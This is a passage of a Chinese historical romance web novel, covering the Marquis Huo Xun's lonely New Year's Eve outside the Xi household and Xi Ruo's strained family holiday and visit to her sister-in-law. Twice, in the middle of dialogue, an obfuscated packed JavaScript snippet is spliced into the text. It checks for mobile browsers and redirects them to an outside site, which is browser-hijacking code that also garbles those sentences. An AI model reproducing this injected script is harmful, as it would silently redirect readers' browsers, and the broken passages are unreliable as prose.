雁行有些错愕,道:“咱们放出去那么多人,都查了这么久了,现在就撤回来?” 霍恂笑道:“李家这潭水深,不过都是旧事,眼下不急着去探。更何况,息为止都那般张牙舞爪地来要挟我了,我若还伸手去查,岂不是给他一个和我翻脸的机会吗?” 雁行心里觉得不至于,便道:“李相在朝中的秘密深,与陛下也有干系,即便咱们不去查,也有的是人去查。息大郎君手伸得再长,管得再宽,还能每个人都管住了不成?难不成陛下过问,他也要管?” 霍恂侧目瞥他,啧声道:“你胆子肥了是不是?连陛下也敢议论?” 雁行的声音其实不大,而且这是在自家院子里,连下人都是从清都带过来的忠仆。莫说此刻无人在侧,没人听见,即便有谁听到了,也不敢多说的。 他就是仗着没人,才和自家主子说这些,但此刻霍恂突然来了这么一句,他还是下意识回头瞧了一圈,尴尬地挠了挠后脑勺,道:“我就是这么一说……” 霍恂也不是真责备他,点了点他便继续向前行去。他哂笑一声接上前言,嗤道:“你以为他不敢?他什么不敢做?” 亏得眼下是太平盛世,若他生在王朝末年,他看他连皇帝也敢拿去做一做。 先生当年追在他屁股后面天天叫“为止为止”,他什么时候真止过了?看着像个端方君子一样,其实就是只疯狗。 雁行迟疑道:“他应该不敢……” 霍恂微微笑了笑,道:“他在朝堂上想要整饬对手,用的是什么手段?杀人见血吗?” 雁行摇摇头。 霍恂又道:“你今日在我旁边,不是也瞧见了吗?我连一个李字都没提,他立刻就变脸了,他什么时候有过这么情绪化的时候?” 雁行若有所思地摇摇头。 霍恂看着天,觉得有意思,淡淡道:“就像是巴不得让别人知道这是他的逆鳞一样。” 一个能将整个息家治得服服帖帖的年轻郎君,偏偏与妻子闹得满城风雨,这不,连陛下都看在眼里,撺掇着他去拿他妻子开刀吗? 不论是真是假,他是不会去自己试的。 李相当年在朝中的经营深厚,自己不好查也无妨,反正他有个做皇帝的表兄,他不查,总架不住人家非要告诉他啊,是不是? 息停还能拦他一辈子不成。 雁行有点悟过来这里头的一堆弯弯绕绕了,思忖着道:“那我们现在避一避息大郎君的锋芒,待换个法子,再去查……” 霍恂打断道:“先不查了。” 雁行道:“那现在干什么?请给卑职一个明示。” 霍恂笑一笑,指着某个方向道:“现在就准备婚事,让清都跟来的老仆也往我母亲的公主府去一去,预备着将我的东西都搬过去罢。” 雁行反问道:“就这?” 霍恂道:“就这。息四娘娇气,在公主府成婚还差不多,这小院哪容得下她那尊菩萨。” 朝堂的事麻烦,虽然现在就要开始了解,早做准备,但既然息停已经将他入朝的时间都推到年后了,那他也就不用太着急了。 反正如果不出意外,他这辈子到死都得待在这些麻烦事里,这就是他最后一个月的清闲了。 他要好好享受。 霍恂说到做到,真的将其他事都放了放,专心准备起婚事。 今上已经下旨将华敬大长公主的公主府赏赐给了霍恂,并重新挂了清都侯府的牌匾,还从宫里拨了人去清理,甚至还将原先的那位公主府主管送了回来。 霍恂先让清都的老仆去那边府上整理了一番,自己才搬了过去,一看四处布置、管事仆从,尽都是童年时熟悉的人,正如回到儿时一般的自由自在。 身边几个都是侍奉久了的人,自然就对霍恂的婚事十分上心,每日念叨着时间匆忙,从早上忙活到深夜,务求让他婚礼尽善尽美。 但霍恂也没闲着。 除了府上这一摊,息家那边他也没忽略。 息停完全没管冯晚,这些日子他的那些行动,虽然落在霍恂眼中只是小打小闹,但烦在次数频繁,还是让他处理一番的。 除了冯晚以外,息偌才是最重要的,该送的礼物还得继续送,该送的书信还得继续送。她需不需要是一码事,也不能听了她的拒绝就收手。 她不是想要这个排面吗?那还是都要给足的。 这又不是什么麻烦事。 真正麻烦的另有其事。 霍恂自入京以来从不曾与任何人提到过的一件事是,打从他与息偌那回相看之后,三天两头便要来上一回的凶险便成了常事。 偶尔是明目张胆的行刺,偶尔是不动声色的暗杀,有时用毒,有时用器,方法总归是不一而足,什么水平的他都基本上见惯了。 很显然的,宁都有人并不想让他留在京城。 朝廷的格局已经形成——当年太祖从北朝来到南方,立下不世之功,创建了大邺基业,但仍面临北朝与南方隐灵海余孽的腹背之患,他一手提拔了多位名臣名将南北相抗,后果就是这些拥有建国之功的臣子掌握了朝政初期的大部分权利,于是久而久之,成就世家之患。 明堂之上就那么多能穿官袍的位置,有人能坐,就有人坐不得。宁都的人尚且还不够分,谁能容忍一个清都来的年轻侯爷硬要抢占高位? 纷争在所难免。 急些的,想着干脆杀了一了百了;稳些的,也想要探一探这病弱侯爷的水平。霍恂希望是自己认错了,但来的那些试探之人之中,除了皇亲以外,其中似乎也有息家的死士。 可惜没有证据能提去息家发问,真是遗憾。 霍恂幼时与公主母亲长在宁都,许多阴损的杀招并不是没有见过。华敬大长公主一直极为爱护他,但也并没有将他关在温室之中、不肯让他见到半分风雨,故而也会将这些事摆去他的面前,教他如何规避或者化解。 而等他长大后去了父亲身边,那就更是不太平。他父亲霍其祯从前掌握的军权太大,知道的秘密太多,即便后来交出虎符卸去军衔官位,避世来到华敬封地清都,也并不代表着可以彻底避开外界旁人的阴暗窥伺。 天高皇帝远,这些手段只会更甚,不会减弱半分。 霍恂已经见惯了,他身边的人也已经见惯了。 初去清都时,他骤然失去母亲庇护,又因年纪尚幼,总要使父亲分心。是以初去之时,很是有一番惨痛的经历。 那时候身边带来的死士和忠仆牺牲了许多,他自己也中过一回招,误食过下了隐毒的饭菜,被香囊的气味一催发,险些要了他的性命。若不是关大夫一直守在旁边,他也活不到今日。 吃一堑,长一智,到了如今,他与身边人再应付起这些事,竟然能称得上是得心应手了。 甚至有一回,雁行在书房外料理完,擦了剑刃走进来,还十分无趣地同他道:“宁都城这些手段真是有些落后了,他们怎么也不知去外头多看一看,多长长见识,也好好提一提自己的水平。” 他细细反思了一下,最后兴奋地评价道:“不如咱们刚入城之后的那一回暗杀,有头脑有手段,连环套,那计设得真是漂亮!” 那次差点将雁行的脑袋都斩下来,最后只伤了他肩臂。虽然没留下什么痕迹,但霍恂怀疑是息停干的。 所以在初时很长一段时间里,他看息停都不大顺眼,连带着见息偌的时候都没忍住发了些狠。 不过没关系,那次刺杀毕竟过去很久了,而且后面也再也没有出现过了。霍恂现在面对息停堪称一个微笑有加,除夕宫宴的时候,今上设宴赐酒,请诸臣同席,他们两个还凑到一起喝了两杯。 一个换了酒具,一个洒了酒水,拱手的时候倒说的都是些家庭和睦的好听话。 霍恂当时就笑了:这就有点过了罢?他要躲是害怕息停给他用手段,可是他坦坦荡荡,可真是没打算对息停做什么呀。 毕竟以他眼下的身份,死得太快太仓促,也是要出问题的。 如此谈笑着,到了宴毕之时,臣子们都要退出宫门。霍恂原本也是要一起退出去的,今上身边的那位大监却特地来到他身边,躬身恭请他留步。 “侯爷请慢。陛下方才说了,今日除夕,正值团圆,请侯爷今晚便宿在宫中,晚上用了家宴,也好与陛下一同说说话。陛下对清都趣事很感兴趣,还想听您讲呢。” 其实不是对清都感兴趣,是怕他一个人孤零零地回了偌大一座公主府,也未免瞧着太凄凉了些。 霍恂站在原处,遥遥看见今上牵着李贵妃的手,离去之前对他远远望了一眼。 他拱手对着天子所在深深一揖,而后对这大监道:“大监替我深谢陛下罢。我是外姓之臣,无故宿在宫中成何体统?凭借陛下宽宏如此放浪,行动举止不合规矩,将来都成御史笔下罄竹之罪。只为今日一宿团圆,何必如此?” 大监也有些年纪了,看着先帝兄妹二人长大,又看着今上与霍恂长大,听见这话,不免露出些慨然之色。 霍恂又笑道:“请大监替我转告陛下。我生性不喜拘束,一人独居,正是自由自在。今日回府,为父母祭拜一番,再与随我从清都而来的这些挚友谈笑半晚,岂不快哉?倒要请陛下准我一假,允我晚上睡得晚些,明晨入宫请安能来得晚些。” 大监听见这话,自知不好多留了,也并没将话说死,与霍恂再言两句,便去寻今上复命。 今上听见这话,怅然微叹,倒也不再多提让他入宫的事了。 霍恂就这么一人回了府中。 宫中已经去过了,息家也送过礼、在宴上贺过了,该有的来往,在席宴上已经做得足够了。天虽还没黑,霍恂直接叫仆从闭门谢客,关上门来自己好好贺一贺新年。 府上的仆从们忙忙碌碌,虽各处的喜庆布置已经完备,但是赶上过年,总是还要操办不少。霍恂踏着这点人间烟火气的嘈杂回到自己院里的一边厢房,对着父母的牌位恭恭敬敬地行了大礼,而后随地坐了下来,摆上了自己从厨房里取来的烧酒和小菜。 雁行跟着主子一路回来,此刻捏着块热腾腾的大肉饼,蹲在厢房外头守着。 天暗了下来,又渐渐起了风,刚出锅的肉饼也很快被吹散了热度。雁行避不了风,几口将大饼吃完了,而后就懒洋洋地坐在台阶上看天。 他是对宁都没什么印象,不过倒是很喜欢清都。清都的天比宁都的天蓝,清都的风也比宁都的风清。 他看来看去,宁都怎样都比不上清都。 但他并不太遗憾,因为只要能跟自家主子平平安安地活着,那在哪里都是一样的。 家是人定的,不是地方定的。 他安安静静地看着外面的天,中间有管事过来,遥遥地站在那边,无声地问询他是否要用饭,他轻轻摆了摆手,动唇示意稍等片刻。 于是管事转身离开了。 雁行又等了一会儿,等到天色黑了,有轻薄的雪花缓缓落了下来,他才站起来活动了下身子。 他转身去敲门,嗓音洪亮又兴奋,喊道:“侯爷!下雪了!出来吃晚饭啊!” “知道了。” 里头应了一声。 雁行听着,心里想:嗯,今年也没有哭鼻子,侯爷真是长大了啊! 真是令人欣慰! 霍恂在里面并没有耽搁太多时间,很快就拿着空了的瓷碟和小酒壶走了出来。 雁行很自如地将东西接过了,与他一起往前头去,口中道:“这宁都的天是比清都要冷许多啊。明明也没有向北多远,这阵子都下了两三场雪了。” 霍恂的手缩在手笼里,笑道:“我可提醒你,还是老实把衣服穿多些,别仗着自己是个火炉子就作死,非要冻上一回才能老实吗?” 雁行道:“加了加了,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525315|168229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不敢多穿,捂一身汗更麻烦。” 主仆二人说着话,一路走到了前头,管事和几个亲近的老仆正好将晚饭摆好。 霍恂招呼他们一起坐下,随意道:“从前在清都,也是凑到一起吃的,今日关上门,不管主仆的俗礼,一起热闹些。” 他都说要热闹了,其他人哪里还有不听的呢。 于是一桌人这么热热闹闹地坐下了,知道霍恂就是一个人,孤孤单单得太可怜,所以个个都妙语连珠,不肯让场面上有一刻冷清下来。 霍恂心里哪里不了解?手里拿着箸勺用饭,没有一刻脸上不挂着笑意。 他也没有拘束他们喝酒,有那么几个,吃到后面喝多了,睡得睡闹得闹,抱到一起划拳的也有,剩下稍微清醒些的看着丢人,一边与霍恂告罪,一边拉着人往后头房间拖。 霍恂口中说着不妨事,眼里却看向外头。 外头的夜都深了,黑得看不分明,但是因为廊下点了明亮的灯火,所以照得落雪分明,此刻纷纷扬扬的,又比之前更大了些,眼见着明早起来,兴许就要堆上一层厚雪。 他是这么想的,也就这么说出了口。 “明天雪厚了,就该不好走了。” 雁行坐在他旁边,听见这话,道:“明天不就去给陛下请安吗?宫里的雪哪能铲不干净?” 霍恂点点头,道:“是,宫里的雪一定是清扫干净了,外头就不一定了。” 雁行听着这话,突然有一种很不妙的预感浮上心头。 这种预感有些像他前头生病那一回,他烫得迷迷糊糊了还在笑,说要找人来探病。 雁行立刻就坐直了,然后回头去找关大夫。 很不幸的,刚才喝趴了的那几堆人里,恰巧就有一位关大夫。 而霍恂的话没停,继续道:“趁着此刻雪没积住,咱们出去走走罢,雁行?” 在除夕的深夜还要陪伴自家主子出门逛街,是一项需要狠狠加月钱才能弥补心里愤怒与难过的差事。 雁行非常了解自家主子的性格,果断选择趁火打劫,赶在今日他最好说话的这个时间,大捞一笔,然后开开心心地拿了厚氅陪他出门去了。 霍恂今日不想坐车。 因为路程并不太远。 除夕这晚不设宵禁,街上热闹非凡。今上才登城楼撒钱撒福,眼下正是百姓们热热闹闹看着烟火观灯的时候。 这边的大宅里所居的主人非富即贵,自然就离这些热闹要远些,也没有那么多的游人,只是那边喧闹的人声还是可以清晰地传来,只是距离远些,听着遥遥。 雁行撑着一把极大的油伞,没让霍恂淋到一粒雪花,跟着他就这么慢悠悠地踩着热闹的声音,一路走到了息家的府邸。 他默默在心里道:果然是想来见息四娘子的。 雁行是一个非常懂事也非常体贴的近卫,他非常清楚霍恂出来的时候什么也没带,连钱也没带,但是一个郎君来见未婚妻,是不该这么空手而来的,那也显得太不体贴温柔了些。 他掂量着自己沉甸甸的腰包,开始思忖,即便是预支自己的存款也不妨,但此刻一定要用最快的速度给自家主子买到最合女子心意的礼物才行。 他家侯爷是人中龙凤,绝不能在这种地方输给宁都其他那些扶不上台面的郎君。 在走到大门之前,他一定可以做到。 雁行心里打定了主意,正要将伞塞到霍恂手里,而后自己去替他买礼物,却见霍恂脚下的方向一转,朝着与息家大门相反的方向去了。 他微微愣了下,快步追上了,问道:“侯爷,咱们不去息家见四娘子吗?” 霍恂侧过脸瞥过他一眼,凉凉问道:“你礼貌吗?” 他目光往天上瞧了瞧,道:“这么大晚的天,连个拜帖也没有,白天也没递个口信儿,这么平白无故地敲别人家大门要见人家未婚的小娘子,你礼貌吗?” 话虽这么说,可是—— “可是息四娘子已经是你的未婚妻了。” 霍恂反问道:“未婚妻就能这样冒犯吗?若连这点规矩都不懂,我成什么人了……” 他的话音突然停下。雁行顺着他的目光向前看去,看见息家那个寥落的小角门突然从内打开了,因为有门上的灯笼照着,所以可以看到,息停穿了身利落的衣裳,拢着厚氅风帽,翻身利落地上了马,独自骑马消失在了黑暗的巷子里。 霍恂和雁行站在黑暗处,他没看到。 霍恂沉默了一会儿,道:“若是不懂,迟早就是他那样。” 阖家团圆夜,虽有父母弟妹,却一个也不待见他,只能这么形单影只地从家里退出来,骑着马去郊外寻那个根本不想正眼看他的妻子。 霍恂想了想,道:“虽然不设宵禁,城门还是锁的。我看他轻车熟路的,也不像头一回……上次咱们是不是就是清晨拦住他的?” 他说的是息偌撞破息停和冯晚在花楼饮酒的那个次日。彼时他去寻息停,就是清晨城门开后,在入城的路上截住的息停。 雁行也回忆了一下那天的事,对着霍恂点了点头。 霍恂思忖道:“既不是头一次了,找御史告他一状怎么样?不知有哪位御史有这样的胆量,敢参他息中书。” 雁行非常配合地同他提意见,道:“那得找李家门生。” 霍恂口中说着“有道理”,足下又向前行去,他抬眼自黑暗中辨别位置,待转了大半圈,才停下了脚步。 雁行不明所以。 霍恂心里却在计算——那日进了息家,与息偌相见,他坐在暖阁中,是看着息偌过来,最后又看着息偌离开的。如果大致猜测计算一番,她的居处应该就在这边不远。 他没想在今日见她不可,也并不指望她能突然从这高高的墙头冒出来—— 她这样受尽宠爱的女孩儿,应当此时在与父母热热闹闹地守岁,又或者是回到自己的房间,和侍女们闹哄一场,开开心心地看着外头的烟火度过新年。 她绝不会从这墙端探出头来,看到一个在雪夜里寂寂而行的可怜人。 绝不。 霍恂没报任何希望,自然也就不会失望。他就那么安安静静地站在那儿,看着遥远天空上绽放的烟花,听着遥远街市上传来的嬉闹,直到午夜度尽,传来沉沉的钟响。 他终于开口,低声道:“新春安乐。” 雁行听到了,开开心心地回应道:“谢谢侯爷!也祝侯爷新春万事大吉,财源广进,善心大发,多多发钱!” 霍恂侧过身,笑道:“同喜同喜,那祝你愿望真能实现罢。” 他袖着手转开了,又重新迈步,不再看身后被伞檐遮住的高墙。只是这晚雪大了,他在外头站得太久,此刻迈步时感到膝弯有些僵痛,而踩在积雪上的细碎响声,又从骤然急促的鞭炮声里艰难而微小地传到他的耳边。 他身后大雪纷纷而落,渐渐覆盖在他踩出的一长串脚印之上,把他无声的伫立和安静的祝福都掩埋在这个深夜,直等到晴日而生、融化成水、顺着青砖流淌到街头街尾,再干涸成一个阴湿的影子,再彻底蒸发成无形的模样—— 就再也不会有任何人看到。 就再也不会有任何人知道。 但来人却并不遗憾,他觉得这个除夕还是有热闹和温暖之处的,就连回程时遥遥看到的府前灯火,也显得温暖许多。 那是专为他而点的灯。 19. 清静 除夕那一日,息家十分热闹。 息家原本就是大家族,白日里几个为官的长辈要去宫中赴宴,尚且不在,到了晚间,自然是要凑到一起吃一回大家宴的。 但是这样的大家宴,说不得什么亲密的体己话,不过都是场面上热闹一番,笑吟吟地听上几鞭响。等结束了,还是各自回去。 息偌扶着父母回到暖阁里,推开了窗户,一边看着外头夜空上绽放的焰火,一边又坐到一处去闲话。 父兄白日在宫中参宴,便避开政事,说了些琐碎的趣闻。息停在旁边提了一句,说他与霍恂还喝了杯酒,说了几句闲话。 息偌自那日与霍恂相别以后,就再也没有见过他。 她原本以为,以霍恂那样的性子,说什么婚前就不见了的话都是骗人的,他那样会给自己塑造良好形象的人,绝不可能真就完全不在息家露脸了。 但他真的没再来过。 今日除夕,他是差人来给息家送了贺礼,但本人却没有出现。若说白日在宫里也就算了,可是宫里的宴散了以后,却也没见他来过。 息偌没故意想他,就是觉得他没来做戏有些奇怪,就这么心里嘟囔着,到了晚上,才骤然听见他的名字。 她抬眼看了看息停,等着听接下来他还要说些什么。但息停说完这话就没再继续了,垂首抿了茶,故意用一种“有什么事吗”的不解表情回望息偌,半点没有继续替她解答好奇的意思。 息偌幅度很小地白了他一下,转过头没再看他了。息停扯了扯唇角,又转向了父母。 息夫人倒是看见了女儿的表情,笑吟吟去问息停道:“都聊什么了,说来听听。” 息停只道:“没说什么,也没在一起站多久,都是客套话。” 有这么一个插曲,一家人也都明白是怎么回事了,目光各有不同地瞥着息偌,直接看得息偌满脸发烫,有些恼地钻进息夫人怀中道:“看我做什么呀……” 息檀想了想,道:“上元的灯市热闹,你也在家拘得太久了些。眼下宫中的嬷嬷不比从前那般拘束你,你出去玩一玩也无不可,到时候叫你哥哥带你出去转一转,散散心。” 其实息停哪里是那种会耐心陪着妹妹逛街看灯的好兄长?这话不过是个理由,为的是让息停好好安排一番,让霍恂巧做偶遇,还能与息偌见上一回。 偶遇,这样巧合的事,谁能说什么? 息偌立刻拒绝道:“我不去!别以为我看不出阿爹心里想什么主意。大过年的,咱们一家子团圆不好吗?扯他一个外人做什么?” 她当真是说者无心,是因为一时有些急了,才迫切要转移话题。谁知这话一出,父母的神色分明就淡了几分,只是面上犹然带笑,没有多作张扬。 息偌立刻就反应过来了是什么意思。 当年李相与息檀算是不错的朋友与同僚,两家夫人也是在一处说过话的。李常希与息停成婚以后,息檀夫妇始终是将她视作亲生女儿,偶尔比对待息偌还要更加细心三分。 好好的一个孩子,孤孤单单地在城郊过年,岂不可怜吗? 息停别过眼转向外头,目光落在了遥遥的残碎余焰之上,不知道在想什么。 息偌清晰地感觉到,因为自己无心之失的一句话,今晚一切的和睦氛围瞬间消失殆尽,父母与长兄之间仿佛瞬间就凝结了一层无形的屏障,将他们冷冷地分隔开。 只是息停没有说,而父母也没有说。大约是想到今晚是难得的除夕之夜,没有人故意将这事挑破。 息偌心里非常清楚,长兄的家事一日不解决,他们就一日不会安稳度日。 她瞬间觉得有些坐立难安,靠在母亲怀里的姿势也有些僵硬起来。她有些拙劣地开口,故意说些笑话趣话,想要将这个氛围打破。 但今夜的温馨注定要到头了。他们坐了没有多久,息檀摆了摆手,说白日应酬久了,晚间也有些累,让他们回去玩耍。 兄妹二人于是一道起立告辞。 息停没有任何停留,率先转身便走了出去,也没有故意留下要与息偌说什么话的意思。 反倒是息夫人开口,在息檀转身走进居室以后,轻轻招手将息偌拉到身前,道:“明日.你寻个空,套车往城郊去看看你嫂嫂,不必和我们一起应付亲戚。也不要太晚,早些去,告诉你嫂嫂,我与你阿爹心中都是挂记她的。” 息偌点点头,小声道:“我不是故意说那话的。” 息夫人笑着摸摸她的脸颊,道:“我们知道,只是有些想她而已,不是怪你,你不要多想。” 但息偌想起方才冷落的情形,心里还是有些难过。尤其是她走了出来,看着天上飘起的大雪,被灯笼里的亮光照得混乱不堪,心里更是烦闷。 小盼没在内室,没听清他们说的话,看见息偌低落的脸色,问道:“娘子怎么这么不开心?大郎君欺负你了吗?” 刚才息停走出来的时候脸色拉得很长,漠然的样子冻得她疯狂打冷战,小盼一看就知道不对劲。 她们撑着伞,一并往居处去。息偌叹气道:“家里真是乱成一锅粥了。” 小盼大概也能明白是什么意思,在她的记忆里,大郎君和四娘子都没彻底长大的童年少年时,家里还是其乐融融的。 人长大了,所以许多事就要变化吗? 那可真是叫人觉得无力极了。 息偌突然在原处停了一停,抬头看着天上,长长吁出一口气,道:“有时候,我真恨不得我就是那朵烟花——” 她的手指攥在一起,举起来又突然张开。 “就像这样,砰——直接炸开算了。” 小盼听笑了,扶着她继续向前走,道:“我看娘子是在家里憋得太久了,所以看什么都烦。咱们回头寻个空,出去逛逛街,花花钱,买买东西,好不好?” 息偌无知无觉地经过了离围墙最近的一条小路,很快转进了自己的住处。她很快地洗漱好,让小盼也脱了外衣,带着小玻璃灯上床来和自己裹着被子坐在一起,小声道:“今天阿娘跟我说,让我明天去找嫂嫂。” 小盼开心地点点头,道:“那还不好?我就不喜欢过年。你来见我,我来见你,礼物由李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15538309|168229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家拎过来,又转手送到张家去,那多没意思啊?成日里凑到一起说客气话,要是女眷们把娘子叫过去陪着,我也得去陪着,最累人了。” 息偌这么一听,煞有介事地点点头,赞同道:“你说的有理。” 那些夫人们,一个赛一个的能说会道,凑到一起的时候嘴皮子一张一碰,能从白天说到晚上,好听话每一句重复的。叫她陪一次两次也就算了,陪多了真是受不了。 尤其今年,她定了亲,婚期也近了,若是再去作陪,还不知要被当做话题念叨多久呢。 如此,她们先是坐着说话,等夜半的钟声响了,又将玻璃灯熄了,在鞭炮的嘈杂声里躺在一起,直说到眼皮打架,才一起睡着了。 次日初一,息偌早早起来,祭拜过祖宗,又对各房长辈们请过安,而后与母亲提了一句,就往城外去寻李常希了。 她到别园的时候,李常希应当也是才祭拜过父母回来,看到她来了,微微有些惊讶,问她怎么这么早过来找她,还以为是她有什么急事。 息偌便解释自己没什么急事,纯是为了躲懒,而后将年礼给李常希送了许多,又与她传话,说父母挂记着她,让她照顾好自己。 如此这般,好一番漫长的寒暄结束。李常希和息偌坐在一处,这才道:“我也听说你的婚事了,躲出来也好。那些内眷妇人们,年轻的时候也都是些很有腔调的娘子,如今拿起势来,也折腾起别人了。你留着也无趣,还不如出来玩儿。” 息偌想了想,道:“我如果在嫂嫂这里躲一天,会不会打扰嫂嫂?二娘子那边,会不会也要来探望嫂嫂?” 她说的是李常希的双生胞姐。 李常希道:“不打扰。她夫君如今事多,未必能带她出去躲清静,今日初一,她少不得是要应酬。前几日才给我送了信儿,说过几日再来。” 这下息偌放心了。 她心安理得地赖在了李常希这里,因为李常希明白世家女子成婚的那些琐碎烦事,又听说是息夫人开口让息偌出来躲清闲的,所以倒是没有催促息偌离开。 息偌陪在李常希旁边,说起话来,就难免说到近些时候的日常事,抱怨起宫里嬷嬷前几日在家时她很是辛苦,话说出口,又想到那是李贵妃派的人,赶紧尴尴尬尬地找补起来。 李常希但笑,主动替她解围,还说了自己当初成婚前的小笑话给她听。 只是息偌笑着笑着就觉得不对劲,这样有趣的时候,怎么半点都没提到息停呢?果真是个坏长兄,害得嫂嫂这样厌恶他。 息偌经历了昨晚的事,才不会主动多言,为求保险,还特意将话口转开。如此到了晚些时候,眼见着时候差不多了,便预备着同李常希告辞离开。 李常希将她送到门口。 息偌刚与她说完道别话,人踩在脚凳上,还没彻底进到车里,忽听到一阵急促的快马之声。她下意识回头看去,目光瞥过李常希微顿的脸色,定到了来路之上。 嚯,她那个坏哥哥,骑马的速度飞快,眨眼就停到了近前。 瞬间,息偌感到自己有些多余了。 20. 警醒 息停的面色非常平淡,即便意外地看到了息偌在此,也并没有流露出丝毫意外的表情。 他下了马,走到近前,问她道:“来多久了?” 息偌下意识回头看了眼李常希,见李常希冷落地别开眼,又回过头道:“早上祭拜完,给各位长辈请过安,就来了。” 息停点点头,道:“雪都积住了,路上有不少成冰的,回去小心些。” 他都来撵人了,息偌自然也就不会再停留了。她飞快地上了车,探出头来给李常希招手,道:“嫂嫂,那我就先回去了,改日再来看你。” 她又看向息停:“长兄,那我先回去了。” 李常希是为了出来送息偌,所以才没在见到息停以后扭头就走。息偌也看出来了她的不适与排斥,不敢再耽误,飞快地钻进车里坐好,让息忍出发。 她坐在车里,慢慢地晃悠,和小盼道:“长兄方才也太吓人了,说了那么长一段提醒我的话,莫不是有什么意思,我没听出来罢?” 小盼也觉得是这么个道理,只是自己思索了半天,也没想出来是怎么回事,只能纠结道:“是太长了些……大郎君平日不这样关心你的。” 她凑近了息偌,小声好奇道:“娘子,我看大郎君方才出现的时候,咱们都惊讶得要命,但是大少夫人瞧着一点都不惊讶。你说,大郎君会不会来看过她许多次了?” 这话一出,息偌突然想到,之前她抓到息停和冯晚在花楼的次日,息默不就来说过息停出城去了吗? 这么一想,她那哥哥……原来是在尴尬得没话找话啊! 息停平日里在外面威严非常,息偌也只敢在心里偷笑,不想也不敢落他的面子,于是只喜滋滋地回去,与父母简单说了一嘴,看见父母面色微松,便又开开心心地回自己房间了。 因为这件事,她心情变得很是不错,虽然仍旧不大敢出现在息停面前,但是倒很愿意与友人相聚玩乐了。 但仍旧是约到息家来。 彭琰迁就她,已经来了许多回,她半是无奈半是打趣地道:“我真是太好奇了,那清都侯究竟是何等人物,不过与你定个亲而已,竟真叫你大门不出二门不迈地守在家里了。莫非将来成了婚,我竟是再见不得你了?” 息偌嗤她道:“你胡说什么呢?我是嫌婚事未定,外面闲话多、闲人多,出去也闹心,才不是你说的那样。” 这话倒也没错,彭琰也不说信不信,点点头应和道:“你说得对。” 只是女子若是成了婚,许多事总是要有限制了,将来若是夫君们在朝堂上有了争执,连她们相见也多有不便。 彭琰的婚事也就在今年了,她微微叹了口气,道:“还不知将来是什么样子呢。我倒是想将婚事再推一推,只是无论如何推,终究也是要成的。我也就只能看开些,趁着现在的日子没人管束,要放肆去玩、放肆去闹,将想做的事都做一遍,这样才不后悔。” 她拉着息偌道:“马上就上元了,到时候我来接你,咱们一起出去看灯罢?” 息偌有些好奇道:“我听说他挺黏着你的,怎么,这样的好日子,你不与他一起去吗?” 她说的是彭琰那个未婚夫。 彭琰摆手道:“他三天两头地来寻我,婚后天天见,婚前还要见,看着岂不无趣吗?以后的日子还长着,我偏就不许他来扰我现在的日子。” 她看息偌仍有犹豫,自己想了想,问道:“你莫不是担心遇到冯九郎?” 息偌面色微沉,道:“他试图见我,都被拦下了。如今婚事已定,宫中亲自操办,他此时这般张扬,究竟是心中有我,还是故意害我?我知道他从来都是恣意之人,不曾有害人之心,也不是故意置我于为难之地。可是清都侯和息家的关系微妙,若在这样的关头生出什么事端,岂不麻烦吗?” 她支着下巴,百无聊赖地看着窗外,道:“反正也没多久了……等我成了婚,搬到他的侯府去,一切都尘埃落定了,他自然就知道罢手了。” 彭琰心中想的是“未必”,但却很能理解息偌夹在中间的为难。她也没有办法拦住冯晚,总不能将刀架到他的脖子上,逼着他不许出门罢? 毕竟他在息偌订婚之后,行事的确是有些鲁莽偏激了些,外头对此的风言倒也不少,虽然息偌没做什么,可若是那清都侯是个小心眼的,还指不定婚后要怎么为了此事磋磨她呢。 彭琰因此也有些厌恨冯晚了,此刻也只能无奈地同息偌道:“惹不起还能躲不起吗?也就委屈你这些时候。等将来婚事定了,清都侯待你用心也就罢了,若他是个伪面君子,当面一套背后一套,息家与他这么近的距离,你长兄必然能让他狠狠喝上一壶。” 她微微一顿,道:“我瞧冯晚的声势也没多凶了,向来是你家中已经有人出面要治他了。冯家也是要脸面的,见他闹成这样,不会毫无管教的,你也别太担心。” 她们在一处说笑了一阵子,待临别时,彭琰与她道:“我若有空,再来陪你解闷。上元时我大约要出去一回,你若想来,坐我车上,咱们出去转上一转;你若不想,我那边完了就过来陪你一会儿。” 息偌笑道:“上元佳节,你忙完了就回家陪陪父母,我这里自有热闹的办法,不用你成日来守着我。” 她话说得很是坦荡,表情也是洒脱。可是真到了那时候,眼睛里还是难□□露出无趣和烦闷。 年节里总是热闹,息偌孤零零地窝在自己房间里看着外头的天,明明隔得很是遥远,但仿佛还是能隐约听到嘈杂的声音。 彭琰说到做到,当真过来接她,与她说了几句话,就要带她出去。息偌隐约听了一句她未婚夫也来寻她,便没答应,打起精神来说自己懒得出去逛,好说歹说将她送走。 后来息夫人也来寻了她,问她怎么不出去玩,还要嘱咐息忍备车带她出去。息偌以为母亲还是原先那个打算,便推拒说自己不想和长兄一起出去。如此一来才知道,息停说自己有公务要忙,晚上也不在家中。 这话放在从前,息偌尚且还信,但是放在现 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息偌用巾子捂着脸,闷闷道:“最热闹的时候都过完了,再去就没意思了。” 小盼有些为难地看着她,也不知道要说些什么话才好让她开心。但是息偌洗漱完后就自顾自上了床,同她道:“你熄了灯去睡罢,不用管我,我玩儿累了,睡得快。” 她在一片黑暗里平静地看着床顶,方才洗脸时的那一点眼酸,现在已经彻底消失不见了。 